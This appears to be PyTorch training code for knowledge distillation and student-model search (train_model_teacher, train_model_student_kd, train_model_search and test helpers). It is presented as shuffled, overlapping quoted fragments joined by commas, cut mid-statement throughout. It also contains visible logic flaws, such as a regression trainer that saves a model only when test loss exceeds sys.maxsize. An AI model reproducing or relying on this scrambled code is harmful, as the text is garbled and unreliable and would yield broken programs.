momentum=opt.tr_fu_momentum, weight_decay=opt.tr_fu_weight_decay, lr_schedule=opt.tr_fu_lr_schedule, from_scratch=opt.tr_fu_from_scratch): acc_best = 0", "gamma=0.2) elif lr_schedule == 'linear': batch_cnt = len(dataset.train_loader) n_total_exp = epochs * batch_cnt", "1 train_loss_avg = train_loss_total / train_batch_cnt print(\"train loss:\", train_loss_avg) with torch.no_grad(): for batch_idx,", "dataset.test_loader elif hasattr(dataset, 'val_loader'): loader = dataset.val_loader else: raise NotImplementedError('Unknown dataset!') latency =", "loader = None loss_total = 0 batch_cnt = 0 criterion = nn.MSELoss() if", "# torch.save(model_best, 'temp_save/temp.pth') #if train_acc == 100: # torch.save(model.mudule, 'temp_save/base.pth') with torch.no_grad(): for", "students[j].train() loss_total = [0.0] * n batch_cnt = 0 for batch_idx, (inputs, targets)", "else: raise NotImplementedError('Unknown dataset!') #loader = dataset.train_loader #print(len(loader)) train_loader = dataset.train_loader train_loss_total =", "criterion = nn.CrossEntropyLoss() optimizer = optim.Adam(model.parameters(), lr=lr, weight_decay=weight_decay) scheduler = optim.lr_scheduler.StepLR(optimizer, step_size=100, gamma=0.1)", "loss.item() batch_cnt += 1 for j in range(n): opt.writer.add_scalar('step_%d/sample_%d_loss' % (opt.i, j), loss_total[j],", "enumerate(dataset.train_loader): inputs = inputs.to(opt.device) targets = targets.to(opt.device) optimizer.zero_grad() outputs = model(inputs) #i_, predicted", "test_loss = test_model_regression(model, dataset) #opt.writer.add_scalar('training_%d/acc' % (idx), acc, i) #print('loss: ', loss_total/batch_cnt) #print('acc:", "'CE': criterion = nn.CrossEntropyLoss() if optimization == 'SGD': optimizers = [optim.SGD(students[j].parameters(), lr=lr, momentum=momentum,", "model_best = None model = torch.nn.DataParallel(model_.to(opt.device)) teacher = torch.nn.DataParallel(teacher_.to(opt.device)) criterion = nn.MSELoss() if", "= loss1+loss2 elif loss_criterion == 'CE': loss = criterion(student_outputs, targets) loss.backward() optimizers[j].step() loss_total[j]", "for module in model.modules(): if isinstance(module, nn.Conv2d): nn.init.kaiming_normal_(module.weight, mode='fan_out', nonlinearity='relu') if module.bias is", "model.eval() loader = None loss_total = 0 batch_cnt = 0 criterion = nn.MSELoss()", "loss_total += loss.item() batch_cnt += 1 opt.writer.add_scalar('training_%d/loss' % (idx), loss_total / batch_cnt, i)", "save_path) return model_best, acc_best def train_model_student_regression(model_, dataset, save_path, idx, optimization=opt.tr_fu_optimization, epochs=opt.tr_fu_epochs, lr=opt.tr_fu_lr, momentum=opt.tr_fu_momentum,", "with torch.no_grad(): for batch_idx, (inputs, targets) in enumerate(train_loader): inputs = inputs.to(opt.device) targets =", "or loss_criterion == 'l2': criterion = nn.MSELoss() elif loss_criterion == 'CE': criterion =", "loss_total += loss.item() batch_cnt += 1 scheduler.step() opt.writer.add_scalar('training_%d/loss' % (idx), loss_total / batch_cnt,", "+= loss.item() #batch_cnt += 1 opt.writer.add_scalar('training_%d/loss' % (idx), loss_total, i) test_loss = test_model_regression(model,", "targets.to(opt.device) optimizer.zero_grad() outputs = model(inputs) _, predicted = outputs.max(1) total += targets.size(0) correct", "= inputs.to(opt.device) targets = targets.to(opt.device) start_time = time.time() outputs = model(inputs) torch.cuda.synchronize() time_taken", "batch_cnt, i) acc = test_model(model, dataset) opt.writer.add_scalar('training/acc', acc, i) print(\"loss: \", loss_total/batch_cnt) print(\"test", "0 best_train_acc = 0 model_best = None model = torch.nn.DataParallel(model_.to(opt.device)) criterion = nn.CrossEntropyLoss()", "#if lr_schedule == 'linear': loss_total += loss.item() batch_cnt += 1 scheduler.step() opt.writer.add_scalar('training_%d/loss' %", "criterion = nn.MSELoss() if optimization == 'SGD': optimizer = optim.SGD(model.parameters(), lr=lr, momentum=momentum, weight_decay=weight_decay)", "in enumerate(dataset.train_loader): inputs = inputs.to(opt.device) targets = targets.to(opt.device) optimizer.zero_grad() outputs = model(inputs) #i_,", "= None model = torch.nn.DataParallel(model_.to(opt.device)) criterion = nn.CrossEntropyLoss() optimizer = optim.Adam(model.parameters(), lr=lr, weight_decay=weight_decay)", "epochs=opt.tr_fu_epochs, lr=opt.tr_fu_lr, momentum=opt.tr_fu_momentum, weight_decay=opt.tr_fu_weight_decay, lr_schedule=opt.tr_fu_lr_schedule, from_scratch=opt.tr_fu_from_scratch): loss_best = sys.maxsize model_best = None model", "import torch.optim as optim import torch.nn.functional as F import torch.backends.cudnn as cudnn import", "students[j](inputs) if loss_criterion == 'KD': loss1 = criterion(student_outputs, teacher_outputs) loss2 = criterion(student_outputs, targets)", "= 0 total = 0 for batch_idx, (inputs, targets) in enumerate(dataset.train_loader): inputs =", "test_loss > loss_best: loss_best = test_loss model.module.loss = test_loss model_best = model.module torch.save(model_best,", "for i in equal_v: if not i: miss.add(inputs[j]) #print(inputs[j]) j+=1 acc = 100.0", "time.time() outputs = model(inputs) torch.cuda.synchronize() time_taken = time.time() - start_time latency.append(time_taken * 1000)", "outputs = model(inputs) torch.cuda.synchronize() time_taken = time.time() - start_time latency.append(time_taken * 1000) lat", "batch_cnt, i) acc = test_model(model, dataset) opt.writer.add_scalar('training_%d/acc' % (idx), acc, i) print('loss: ',", "test_loss model_best = model.module torch.save(model_best, save_path) return model_best, loss_best def train_model_student_kd(teacher_, model_, dataset,", "= [sys.maxsize] * n students_best = [None] * n teacher = torch.nn.DataParallel(teacher_.to(opt.device)) students", "inputs.to(opt.device) targets = targets.to(opt.device) optimizer.zero_grad() outputs = model(inputs) loss1 = criterion(outputs, targets) loss2", "step_size=100, gamma=0.1) for i in range(1, epochs + 1): print('epochs ', i) model.train()", "= criterion(outputs, targets) loss2 = criterion(outputs, teacher_outputs) loss = loss1 + loss2 loss.backward()", "== 100: # torch.save(model.mudule, 'temp_save/base.pth') with torch.no_grad(): for batch_idx, (inputs, targets) in enumerate(loader):", "batch_cnt = 0 for batch_idx, (inputs, targets) in enumerate(dataset.train_loader): inputs = inputs.to(opt.device) if", "loss_criterion == 'l2': criterion = nn.MSELoss() elif loss_criterion == 'CE': criterion = nn.CrossEntropyLoss()", "loss.item() batch_cnt += 1 for j in range(n): opt.writer.add_scalar('step_%d/sample_%d_loss' % (opt.i, j), loss_total[j]", "weight_decay=weight_decay) for j in range(n)] elif optimization == 'Adam': optimizers = [optim.Adam(students[j].parameters(), lr=lr,", "targets.to(opt.device) outputs = model(inputs) loss = criterion(outputs,targets) loss_total+=loss.item() batch_cnt += 1 #_, predicted", "model.modules(): if isinstance(module, nn.Conv2d): nn.init.kaiming_normal_(module.weight, mode='fan_out', nonlinearity='relu') if module.bias is not None: nn.init.constant_(module.bias,", "batch_cnt += 1 #_, predicted = outputs.max(1) #total += targets.size(0) #correct += predicted.eq(targets).sum().item()", "for batch_idx, (inputs, targets) in enumerate(loader): inputs = inputs.to(opt.device) targets = targets.to(opt.device) outputs", "= torch.nn.DataParallel(model_.to(opt.device)) teacher = torch.nn.DataParallel(teacher_.to(opt.device)) criterion1 = nn.CrossEntropyLoss() criterion2 = nn.MSELoss() if optimization", "elif lr_schedule == 'linear': batch_cnt = len(dataset.train_loader) n_total_exp = epochs * batch_cnt lr_lambda", "loss.backward() optimizer.step() #if lr_schedule == 'linear': loss_total += loss.item() batch_cnt += 1 scheduler.step()", "'CE': targets = targets.to(opt.device) for j in range(n): if lr_schedule == 'linear': schedulers[j].step()", "= criterion(outputs, targets) loss.backward() optimizer.step() loss_total += loss.item() batch_cnt += 1 scheduler.step() opt.writer.add_scalar('training/loss',", "model.module.acc = acc model_best = model.module torch.save(model_best, save_path) return model_best, acc_best def train_model_student_kd_reg(teacher_,", "/ train_batch_cnt print(\"train loss:\", train_loss_avg) with torch.no_grad(): for batch_idx, (inputs, targets) in enumerate(loader):", "in range(n): opt.writer.add_scalar('step_%d/sample_%d_loss' % (opt.i, j), loss_total[j], i) test_loss = test_model_regression(students[j], dataset) #print(\"loss\"+str(j)+\":", "#print(inputs[j]) j+=1 acc = 100.0 * correct / total return acc, miss def", "= test_model_regression(students[j], dataset) #print(\"loss\"+str(j)+\": \", test_loss) #opt.writer.add_scalar('step_%d/sample_%d_acc' % (opt.i, j), acc, i) if", "raise NotImplementedError('Unknown dataset!') #loader = dataset.train_loader #print(len(loader)) train_loader = dataset.train_loader train_loss_total = 0", "weight_decay=weight_decay) if lr_schedule == 'step': scheduler = optim.lr_scheduler.StepLR(optimizer, step_size=100, gamma=0.1) elif lr_schedule ==", "epochs=opt.tr_se_epochs, lr=opt.tr_se_lr, momentum=opt.tr_se_momentum, weight_decay=opt.tr_se_weight_decay, lr_schedule=opt.tr_se_lr_schedule, loss_criterion=opt.tr_se_loss_criterion): n = len(students_) accs_best = [0.0] *", "elif hasattr(dataset, 'val_loader'): loader = dataset.val_loader else: raise NotImplementedError('Unknown dataset!') train_loader = dataset.train_loader", "print('acc: ',acc) if acc > acc_best: acc_best = acc model.module.acc = acc model_best", "optimization == 'SGD': optimizer = optim.SGD(model.parameters(), lr=lr, momentum=momentum, weight_decay=weight_decay) elif optimization == 'Adam':", "None model = torch.nn.DataParallel(model_.to(opt.device)) criterion = nn.CrossEntropyLoss() optimizer = optim.Adam(model.parameters(), lr=lr, weight_decay=weight_decay) scheduler", "opt.writer.add_scalar('training_%d/acc' % (idx), acc, i) print('loss: ', loss_total/batch_cnt) print('acc: ',acc) if acc >", "torch.nn.DataParallel(teacher_.to(opt.device)) criterion1 = nn.CrossEntropyLoss() criterion2 = nn.MSELoss() if optimization == 'SGD': optimizer =", "loss_best: loss_best = test_loss model.module.loss = test_loss model_best = model.module torch.save(model_best, save_path) return", "0) elif isinstance(module, nn.BatchNorm2d): nn.init.constant_(module.weight, 1) nn.init.constant_(module.bias, 0) elif isinstance(module, nn.Linear): nn.init.normal_(module.weight, 0,", "if from_scratch: init_model(model) for i in range(1, epochs + 1): model.train() #if lr_schedule", "[optim.Adam(students[j].parameters(), lr=lr, weight_decay=weight_decay) for j in range(n)] if lr_schedule == 'linear': batch_cnt =", "j), loss_total[j] / batch_cnt, i) acc = test_model(students[j], dataset) #print(\"acc\"+str(j)+\": \", acc) opt.writer.add_scalar('step_%d/sample_%d_acc'", "(opt.i, j), acc, i) if test_loss < loss_best[j]: loss_best[j] = test_loss students_best[j] =", "in enumerate(loader): inputs = inputs.to(opt.device) targets = targets.to(opt.device) outputs = model(inputs) loss =", "[] with torch.no_grad(): for batch_idx, (inputs, targets) in enumerate(loader): inputs = inputs.to(opt.device) targets", "= 0 model_best = None model = torch.nn.DataParallel(model_.to(opt.device)) teacher = torch.nn.DataParallel(teacher_.to(opt.device)) criterion1 =", "batch_cnt, i) acc = test_model(model, dataset) opt.writer.add_scalar('training_%d/acc' % (idx), acc, i) #print('loss: ',", "+= 1 #print(\"train acc: \", 100*correct/total) scheduler.step() opt.writer.add_scalar('training_%d/loss' % (idx), loss_total/batch_cnt , i)", "'temp_save/base.pth') with torch.no_grad(): for batch_idx, (inputs, targets) in enumerate(loader): inputs = inputs.to(opt.device) targets", "torch.cuda.synchronize() time_taken = time.time() - start_time latency.append(time_taken * 1000) lat = np.mean(latency) return", "% (opt.i, j), acc, i) if test_loss < loss_best[j]: loss_best[j] = test_loss students_best[j]", "raise NotImplementedError('Unknown dataset!') miss = set() with torch.no_grad(): for batch_idx, (inputs, targets) in", "latency.append(time_taken * 1000) lat = np.mean(latency) return lat def train_model_teacher(model_, dataset, save_path, epochs=60,", "loss_best def train_model_student_kd(teacher_, model_, dataset, save_path, idx, optimization=opt.tr_fu_optimization, epochs=opt.tr_fu_epochs, lr=opt.tr_fu_lr, momentum=opt.tr_fu_momentum, weight_decay=opt.tr_fu_weight_decay, lr_schedule=opt.tr_fu_lr_schedule,", "in range(n)] if lr_schedule == 'linear': batch_cnt = len(dataset.train_loader) n_total_exp = epochs *", "import sys import numpy as np def init_model(model): for module in model.modules(): if", "+ 1): print('epochs ', i) model.train() loss_total = 0 batch_cnt = 0 for", "dataset!') miss = set() with torch.no_grad(): for batch_idx, (inputs, targets) in enumerate(loader): inputs", "dataset, optimization=opt.tr_se_optimization, epochs=opt.tr_se_epochs, lr=opt.tr_se_lr, momentum=opt.tr_se_momentum, weight_decay=opt.tr_se_weight_decay, lr_schedule=opt.tr_se_lr_schedule, loss_criterion=opt.tr_se_loss_criterion): n = len(students_) accs_best =", "optimizer.zero_grad() outputs = model(inputs) loss1 = criterion1(outputs, targets) loss2 = criterion2(outputs, teacher_outputs) loss", "total += targets.size(0) correct += predicted.eq(targets).sum().item() acc = 100.0 * correct / total", "acc) if acc > acc_best: acc_best = acc model.module.acc = acc model_best =", "= inputs.to(opt.device) targets = targets.to(opt.device) outputs = model(inputs) _, predicted = outputs.max(1) total", "inputs.to(opt.device) targets = targets.to(opt.device) outputs = model(inputs) loss = criterion(outputs,targets) loss_total+=loss.item() batch_cnt +=", "model_best, loss_best def train_model_search(teacher_, students_, dataset, optimization=opt.tr_se_optimization, epochs=opt.tr_se_epochs, lr=opt.tr_se_lr, momentum=opt.tr_se_momentum, weight_decay=opt.tr_se_weight_decay, lr_schedule=opt.tr_se_lr_schedule, loss_criterion=opt.tr_se_loss_criterion):", "raise NotImplementedError('Unknown dataset!') train_loader = dataset.train_loader train_correct = 0 train_total = 0 best_train_acc", "(opt.i, j), loss_total[j] / batch_cnt, i) acc = test_model(students[j], dataset) #print(\"acc\"+str(j)+\": \", acc)", "return acc def test_model_regression(model, dataset): model.eval() loader = None loss_total = 0 batch_cnt", "acc = test_model(students[j], dataset) #print(\"acc\"+str(j)+\": \", acc) opt.writer.add_scalar('step_%d/sample_%d_acc' % (opt.i, j), acc, i)", "== 'Adam': optimizer = optim.Adam(model.parameters(), lr=lr, weight_decay=weight_decay) if lr_schedule == 'step': scheduler =", "in enumerate(dataset.train_loader): inputs = inputs.to(opt.device) targets = targets.to(opt.device) if loss_criterion == 'KD': teacher_outputs", "outputs = model(inputs) loss1 = criterion(outputs, targets) loss2 = criterion(outputs, teacher_outputs) loss =", "', loss_total/batch_cnt) #print('acc: ',acc) if test_loss > loss_best: loss_best = test_loss model.module.loss =", "outputs = model(inputs) train_loss = criterion(outputs,targets) train_loss_total+=train_loss.item() train_batch_cnt += 1 train_loss_avg = train_loss_total", "== 'Adam': optimizers = [optim.Adam(students[j].parameters(), lr=lr, weight_decay=weight_decay) for j in range(n)] if lr_schedule", "model.module # torch.save(model_best, 'temp_save/temp.pth') #if train_acc == 100: # torch.save(model.mudule, 'temp_save/base.pth') with torch.no_grad():", "dataset.val_loader else: raise NotImplementedError('Unknown dataset!') train_loader = dataset.train_loader train_correct = 0 train_total =", "lr_schedule=opt.tr_fu_lr_schedule, from_scratch=opt.tr_fu_from_scratch): acc_best = 0 model_best = None model = torch.nn.DataParallel(model_.to(opt.device)) teacher =", "batch_idx, (inputs, targets) in enumerate(dataset.train_loader): inputs = inputs.to(opt.device) targets = targets.to(opt.device) optimizer.zero_grad() outputs", "0 train_batch_cnt = 0 #print(len(loader)) with torch.no_grad(): for batch_idx, (inputs, targets) in enumerate(train_loader):", "= model(inputs) torch.cuda.synchronize() time_taken = time.time() - start_time latency.append(time_taken * 1000) lat =", "torch.no_grad(): for batch_idx, (inputs, targets) in enumerate(train_loader): inputs = inputs.to(opt.device) targets = targets.to(opt.device)", "acc_best = 0 model_best = None model = torch.nn.DataParallel(model_.to(opt.device)) criterion = nn.CrossEntropyLoss() optimizer", "in range(1, epochs + 1): print('epochs ', i) model.train() loss_total = 0 batch_cnt", "i) acc = test_model(model, dataset) opt.writer.add_scalar('training/acc', acc, i) print(\"loss: \", loss_total/batch_cnt) print(\"test acc:", "= targets.to(opt.device) optimizer.zero_grad() outputs = model(inputs) #i_, predicted = outputs.max(1) #total += targets.size(0)", "torch.nn.functional as F import torch.backends.cudnn as cudnn import options as opt import os", "= [None] * n teacher = torch.nn.DataParallel(teacher_.to(opt.device)) students = [None] * n for", "def test_model_regression(model, dataset): model.eval() loader = None loss_total = 0 batch_cnt = 0", "in range(n): students[j].train() loss_total = [0.0] * n batch_cnt = 0 for batch_idx,", "targets.size(0) train_correct += predicted.eq(targets).sum().item() train_acc = 100.0 * train_correct / train_total #print(\"train acc:\",", "if acc > accs_best[j]: accs_best[j] = acc students_best[j] = students[j].module return students_best, accs_best", "nonlinearity='relu') if module.bias is not None: nn.init.constant_(module.bias, 0) elif isinstance(module, nn.BatchNorm2d): nn.init.constant_(module.weight, 1)", "print('train loss: ', loss_total/batch_cnt) print('test loss: ',test_loss) if test_loss < loss_best: loss_best =", "[None] * n teacher = torch.nn.DataParallel(teacher_.to(opt.device)) students = [None] * n for j", "1 opt.writer.add_scalar('training_%d/loss' % (idx), loss_total, i) test_loss = test_model_regression(model, dataset) #opt.writer.add_scalar('training_%d/acc' % (idx),", "= nn.MSELoss() elif loss_criterion == 'CE': criterion = nn.CrossEntropyLoss() if optimization == 'SGD':", "loader = dataset.val_loader else: raise NotImplementedError('Unknown dataset!') #loader = dataset.train_loader #print(len(loader)) train_loader =", "if optimization == 'SGD': optimizers = [optim.SGD(students[j].parameters(), lr=lr, momentum=momentum, weight_decay=weight_decay) for j in", "import time import sys import numpy as np def init_model(model): for module in", "print('epoch',i) model.train() #if lr_schedule == 'step': # scheduler.step() loss_total = 0 batch_cnt =", "test_model_regression(model, dataset) #opt.writer.add_scalar('training_%d/acc' % (idx), acc, i) print('train loss: ', loss_total/batch_cnt) print('test loss:", "criterion = nn.CrossEntropyLoss() if optimization == 'SGD': optimizers = [optim.SGD(students[j].parameters(), lr=lr, momentum=momentum, weight_decay=weight_decay)", "i) print('loss: ', loss_total/batch_cnt) print('acc: ',acc) if acc > acc_best: acc_best = acc", "= inputs.to(opt.device) targets = targets.to(opt.device) outputs = model(inputs) loss = criterion(outputs,targets) loss_total+=loss.item() batch_cnt", "nn.init.constant_(module.bias, 0) return model def test_model(model, dataset): model.eval() correct = 0 total =", "= model.module torch.save(model_best, save_path) return model_best, acc_best def train_model_student_regression(model_, dataset, save_path, idx, optimization=opt.tr_fu_optimization,", "n batch_cnt = 0 for batch_idx, (inputs, targets) in enumerate(dataset.train_loader): inputs = inputs.to(opt.device)", "1 #_, predicted = outputs.max(1) #total += targets.size(0) #correct += predicted.eq(targets).sum().item() #acc =", "if lr_schedule == 'step': scheduler = optim.lr_scheduler.StepLR(optimizer, step_size=10, gamma=0.4) elif lr_schedule == 'linear':", "loss: ',test_loss) if test_loss < loss_best: loss_best = test_loss model.module.loss = test_loss model_best", "train_acc > best_train_acc: # best_train_acc = train_acc # model_best = model.module # torch.save(model_best,", "(opt.i, j), acc, i) if acc > accs_best[j]: accs_best[j] = acc students_best[j] =", "teacher_outputs = None with torch.no_grad(): teacher_outputs = teacher(inputs) inputs = inputs.to(opt.device) targets =", "lr=opt.tr_se_lr, momentum=opt.tr_se_momentum, weight_decay=opt.tr_se_weight_decay, lr_schedule=opt.tr_se_lr_schedule, loss_criterion=opt.tr_se_loss_criterion): n = len(students_) loss_best = [sys.maxsize] * n", "+= targets.size(0) correct += predicted.eq(targets).sum().item() loss = criterion(outputs, targets) loss.backward() optimizer.step() #if lr_schedule", "'step': scheduler = optim.lr_scheduler.StepLR(optimizer, step_size=10, gamma=0.4) elif lr_schedule == 'linear': batch_cnt = len(dataset.train_loader)", "= targets.to(opt.device) optimizer.zero_grad() outputs = model(inputs) loss1 = criterion(outputs, targets) loss2 = criterion(outputs,", "= test_model(model, dataset) opt.writer.add_scalar('training_%d/acc' % (idx), acc, i) print('loss: ', loss_total/batch_cnt) print('acc: ',acc)", "as nn import torch.optim as optim import torch.nn.functional as F import torch.backends.cudnn as", "+ loss2 loss.backward() optimizer.step() #if lr_schedule == 'linear': scheduler.step() loss_total += loss.item() #batch_cnt", "weight_decay=weight_decay) if lr_schedule == 'step': scheduler = optim.lr_scheduler.StepLR(optimizer, step_size=20, gamma=0.2) elif lr_schedule ==", "range(n)] if lr_schedule == 'linear': batch_cnt = len(dataset.train_loader) n_total_exp = epochs * batch_cnt", "acc, i) if test_loss < loss_best[j]: loss_best[j] = test_loss students_best[j] = students[j].module return", "outputs.max(1) #total += targets.size(0) #correct += predicted.eq(targets).sum().item() #acc = 100.0 * correct /", "= inputs.to(opt.device) targets = targets.to(opt.device) optimizer.zero_grad() outputs = model(inputs) loss1 = criterion(outputs, targets)", "train_acc) #if train_acc > best_train_acc: # best_train_acc = train_acc # model_best = model.module", "model_best = None model = torch.nn.DataParallel(model_.to(opt.device)) criterion = nn.CrossEntropyLoss() if optimization == 'SGD':", "loss1 = criterion(student_outputs, teacher_outputs) loss2 = criterion(student_outputs, targets) loss = loss1+loss2 elif loss_criterion", "targets = targets.to(opt.device) outputs = model(inputs) _, predicted = outputs.max(1) train_total += targets.size(0)", "+= predicted.eq(targets).sum().item() train_acc = 100.0 * train_correct / train_total #print(\"train acc:\", train_acc) #if", "equal_v.sum().item() j = 0 #print(equal_v for i in equal_v: if not i: miss.add(inputs[j])", "/ batch_cnt, i) acc = test_model(model, dataset) opt.writer.add_scalar('training_%d/acc' % (idx), acc, i) #print('loss:", "acc > acc_best: acc_best = acc model.module.acc = acc model_best = model.module torch.save(model_best,", "#if lr_schedule == 'linear': scheduler.step() loss_total += loss.item() batch_cnt += 1 opt.writer.add_scalar('training_%d/loss' %", "loss.backward() optimizer.step() loss_total += loss.item() batch_cnt += 1 scheduler.step() opt.writer.add_scalar('training/loss', loss_total / batch_cnt,", "= [optim.lr_scheduler.LambdaLR(optimizers[j], lr_lambda=lr_lambda) for j in range(n)] for i in range(1, epochs +", "range(n): students[j] = torch.nn.DataParallel(students_[j].to(opt.device)) if loss_criterion == 'KD' or loss_criterion == 'l2': criterion", "weight_decay=opt.tr_fu_weight_decay, lr_schedule=opt.tr_fu_lr_schedule, from_scratch=opt.tr_fu_from_scratch): acc_best = 0 model_best = None model = torch.nn.DataParallel(model_.to(opt.device)) teacher", "loss_total/batch_cnt) #print('acc: ',acc) if test_loss > loss_best: loss_best = test_loss model.module.loss = test_loss", "= torch.nn.DataParallel(model_.to(opt.device)) teacher = torch.nn.DataParallel(teacher_.to(opt.device)) criterion = nn.MSELoss() if optimization == 'SGD': optimizer", "#loader = dataset.train_loader #print(len(loader)) train_loader = dataset.train_loader train_loss_total = 0 train_batch_cnt = 0", "nn.init.constant_(module.bias, 0) elif isinstance(module, nn.BatchNorm2d): nn.init.constant_(module.weight, 1) nn.init.constant_(module.bias, 0) elif isinstance(module, nn.Linear): nn.init.normal_(module.weight,", "loss2 = criterion(student_outputs, targets) loss = loss1+loss2 elif loss_criterion == 'CE': loss =", "+= 1 scheduler.step() opt.writer.add_scalar('training_%d/loss' % (idx), loss_total / batch_cnt, i) acc = test_model(model,", "scheduler.step() opt.writer.add_scalar('training_%d/loss' % (idx), loss_total / batch_cnt, i) acc = test_model(model, dataset) opt.writer.add_scalar('training_%d/acc'", "len(students_) loss_best = [sys.maxsize] * n students_best = [None] * n teacher =", "1 - n_exp_seen/n_total_exp scheduler = optim.lr_scheduler.LambdaLR(optimizer, lr_lambda=lr_lambda) if from_scratch: init_model(model) for i in", "test_model_image(model, dataset): model.eval() correct = 0 total = 0 loader = None if", "= len(students_) loss_best = [sys.maxsize] * n students_best = [None] * n teacher", "- n_exp_seen/n_total_exp schedulers = [optim.lr_scheduler.LambdaLR(optimizers[j], lr_lambda=lr_lambda) for j in range(n)] for i in", "1): print(\"epochs:\",i) teacher.eval() for j in range(n): students[j].train() loss_total = [0.0] * n", "weight_decay=weight_decay) if lr_schedule == 'step': scheduler = optim.lr_scheduler.StepLR(optimizer, step_size=10, gamma=0.4) elif lr_schedule ==", "nn.BatchNorm2d): nn.init.constant_(module.weight, 1) nn.init.constant_(module.bias, 0) elif isinstance(module, nn.Linear): nn.init.normal_(module.weight, 0, 0.01) nn.init.constant_(module.bias, 0)", "elif loss_criterion == 'CE': criterion = nn.CrossEntropyLoss() if optimization == 'SGD': optimizers =", "for batch_idx, (inputs, targets) in enumerate(dataset.train_loader): inputs = inputs.to(opt.device) targets = targets.to(opt.device) if", "students_, dataset, optimization=opt.tr_se_optimization, epochs=opt.tr_se_epochs, lr=opt.tr_se_lr, momentum=opt.tr_se_momentum, weight_decay=opt.tr_se_weight_decay, lr_schedule=opt.tr_se_lr_schedule, loss_criterion=opt.tr_se_loss_criterion): n = len(students_) loss_best", "targets) in enumerate(dataset.train_loader): teacher_outputs = None with torch.no_grad(): teacher_outputs = teacher(inputs) inputs =", "loss = criterion(student_outputs, teacher_outputs) elif loss_criterion == 'CE': loss = criterion(student_outputs, targets) loss.backward()", "#print(\"train acc: \", 100*correct/total) scheduler.step() opt.writer.add_scalar('training_%d/loss' % (idx), loss_total/batch_cnt , i) test_loss =", "_, predicted = outputs.max(1) total += targets.size(0) equal_v = predicted.eq(targets) correct += equal_v.sum().item()", "train_model_student_kd_reg(teacher_, model_, dataset, save_path, idx, optimization=opt.tr_fu_optimization, epochs=opt.tr_fu_epochs, lr=opt.tr_fu_lr, momentum=opt.tr_fu_momentum, weight_decay=opt.tr_fu_weight_decay, lr_schedule=opt.tr_fu_lr_schedule, from_scratch=opt.tr_fu_from_scratch): loss_best", "== 'step': # scheduler.step() loss_total = 0 batch_cnt = 0 for batch_idx, (inputs,", "torch.no_grad(): for batch_idx, (inputs, targets) in enumerate(loader): inputs = inputs.to(opt.device) targets = targets.to(opt.device)", "test_loss model_best = model.module torch.save(model_best, save_path) return model_best, loss_best def train_model_search(teacher_, students_, dataset,", "0.01) nn.init.constant_(module.bias, 0) return model def test_model(model, dataset): model.eval() correct = 0 total", "teacher_outputs = None with torch.no_grad(): teacher_outputs = teacher(inputs) elif loss_criterion == 'CE': targets", "batch_cnt += 1 opt.writer.add_scalar('training_%d/loss' % (idx), loss_total / batch_cnt, i) acc = test_model(model,", "= torch.nn.DataParallel(model_.to(opt.device)) criterion = nn.CrossEntropyLoss() optimizer = optim.Adam(model.parameters(), lr=lr, weight_decay=weight_decay) scheduler = optim.lr_scheduler.StepLR(optimizer,", "== 'CE': loss = criterion(student_outputs, targets) loss.backward() optimizers[j].step() loss_total[j] += loss.item() batch_cnt +=", "0 loader = None if hasattr(dataset, 'test_loader'): loader = dataset.test_loader elif hasattr(dataset, 'val_loader'):", "nn.init.normal_(module.weight, 0, 0.01) nn.init.constant_(module.bias, 0) return model def test_model(model, dataset): model.eval() correct =", "opt.writer.add_scalar('training_%d/loss' % (idx), loss_total/batch_cnt , i) test_loss = test_model_regression(model, dataset) #opt.writer.add_scalar('training_%d/acc' % (idx),", "scheduler.step() loss_total += loss.item() #batch_cnt += 1 opt.writer.add_scalar('training_%d/loss' % (idx), loss_total, i) test_loss", "% (idx), acc, i) print('train loss: ', loss_total/batch_cnt) print('test loss: ',test_loss) if test_loss", "torch.save(model_best, save_path) return model_best, acc_best def train_model_student(model_, dataset, save_path, idx, optimization=opt.tr_fu_optimization, epochs=opt.tr_fu_epochs, lr=opt.tr_fu_lr,", "def train_model_search_reg(teacher_, students_, dataset, optimization=opt.tr_se_optimization, epochs=opt.tr_se_epochs, lr=opt.tr_se_lr, momentum=opt.tr_se_momentum, weight_decay=opt.tr_se_weight_decay, lr_schedule=opt.tr_se_lr_schedule, loss_criterion=opt.tr_se_loss_criterion): n =", "% (opt.i, j), loss_total[j], i) test_loss = test_model_regression(students[j], dataset) #print(\"loss\"+str(j)+\": \", test_loss) #opt.writer.add_scalar('step_%d/sample_%d_acc'", "= 0 correct = 0 total = 0 for batch_idx, (inputs, targets) in", "as F import torch.backends.cudnn as cudnn import options as opt import os import", "test_loss = test_model_regression(students[j], dataset) #print(\"loss\"+str(j)+\": \", test_loss) #opt.writer.add_scalar('step_%d/sample_%d_acc' % (opt.i, j), acc, i)", "as opt import os import time import sys import numpy as np def", "acc_best def train_model_student_kd_reg(teacher_, model_, dataset, save_path, idx, optimization=opt.tr_fu_optimization, epochs=opt.tr_fu_epochs, lr=opt.tr_fu_lr, momentum=opt.tr_fu_momentum, weight_decay=opt.tr_fu_weight_decay, lr_schedule=opt.tr_fu_lr_schedule,", "teacher_outputs = teacher(inputs) inputs = inputs.to(opt.device) targets = targets.to(opt.device) optimizer.zero_grad() outputs = model(inputs)", "if loss_criterion == 'KD' or loss_criterion == 'l2': criterion = nn.MSELoss() elif loss_criterion", "model(inputs) _, predicted = outputs.max(1) total += targets.size(0) correct += predicted.eq(targets).sum().item() acc =", "torch.nn.DataParallel(teacher_.to(opt.device)) criterion = nn.MSELoss() if optimization == 'SGD': optimizer = optim.SGD(model.parameters(), lr=lr, momentum=momentum,", "inputs.to(opt.device) targets = targets.to(opt.device) optimizer.zero_grad() outputs = model(inputs) loss1 = criterion1(outputs, targets) loss2", "targets.to(opt.device) start_time = time.time() outputs = model(inputs) torch.cuda.synchronize() time_taken = time.time() - start_time", "for j in range(n): opt.writer.add_scalar('step_%d/sample_%d_loss' % (opt.i, j), loss_total[j], i) test_loss = test_model_regression(students[j],", "'KD': teacher_outputs = None with torch.no_grad(): teacher_outputs = teacher(inputs) elif loss_criterion == 'CE':", "/ batch_cnt, i) acc = test_model(students[j], dataset) #print(\"acc\"+str(j)+\": \", acc) opt.writer.add_scalar('step_%d/sample_%d_acc' % (opt.i,", "test_model(model, dataset) opt.writer.add_scalar('training_%d/acc' % (idx), acc, i) print('loss: ', loss_total/batch_cnt) print('acc: ',acc) if", "model_best = model.module torch.save(model_best, save_path) return model_best, acc_best def train_model_student_kd_reg(teacher_, model_, dataset, save_path,", "= model.module torch.save(model_best, save_path) return model_best, loss_best def train_model_student_kd(teacher_, model_, dataset, save_path, idx,", "dataset) #opt.writer.add_scalar('training_%d/acc' % (idx), acc, i) print('train loss: ', loss_total/batch_cnt) print('test loss: ',test_loss)", "def train_model_student(model_, dataset, save_path, idx, 